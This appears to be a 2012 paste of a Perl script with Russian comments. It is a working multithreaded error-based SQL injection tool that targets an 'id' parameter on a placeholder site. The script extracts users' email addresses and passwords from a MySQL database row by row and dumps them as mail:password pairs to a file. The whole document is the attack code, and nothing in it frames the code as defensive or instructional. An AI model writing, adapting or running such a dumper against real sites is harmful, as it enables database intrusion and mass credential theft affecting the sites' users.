
Untitled
By: a guest on Jan 28th, 2012 | syntax:
Perl | size: 2.27 KB | hits: 67 | expires: Never
#!/usr/local/bin/perl -w
use LWP::Simple;
use threads;
use threads::shared;
$url = 'http://examplesite.guf/script.php?id=1337';
$mysql_mail_before = ' and(select 1 from(select count(*),concat((select (select (select concat(0x3c703e,unhex(Hex(cast(users.mail as char))),0x3c2f703e) from db.users Order by mail limit ';
$mysql_mail_after = ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
$mysql_pass_before = ' and(select 1 from(select count(*),concat((select (select (select concat(0x3c703e,unhex(Hex(cast(users.password as char))),0x3c2f703e) from db.users Order by mail limit ';
$mysql_pass_after = ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
my $count_string = 100; #___ кол-во записей в таблице
my $threads_num = 20; #___ кол-во потоков
my @file:shared;
my $lim:shared = 0;
#___ создаем потоки со ссылкой на sql_inj_req:
for my $i (1..$threads_num){
push @threads, threads->create(\&sql_inj_req, $i);
}
#___ запускаем потоки:
foreach my $thread (@threads){
$thread->join();
}
sub sql_inj_req{
my $counter=$lim++; #___ передаём каждому потоку номер стартовой записи, с которой начнется перебор
while ($lim<$count_string){
$content_for_mail = get($url.$mysql_mail_before.$counter.$mysql_mail_after)||die(); #___ запрос
if($content_for_mail=~/<p>(.*)<\/p>/){$mail = $1}; #___ выборка данных
$content_for_pass = get($url.$mysql_pass_before.$counter.$mysql_pass_after)||die(); #___ запрос
if($content_for_pass=~/<p>(.*)<\/p>/){$pass = $1}; #___ выборка данных
print $mail.":".$pass."\n"; #___ вывод на экран (можно отключить)
$file[$counter] = $mail.":".$pass."\n"; #___ помешаем полученные данные в массив в виде mail:password
$lim++;
$counter += $threads_num;
};
};
#___ запись в файл
open (OUTFILE, ">/dump.txt")||die "Cant't find dump.txt";
foreach(@file){
if($_){
print OUTFILE $_;
};
};
close(OUTFILE);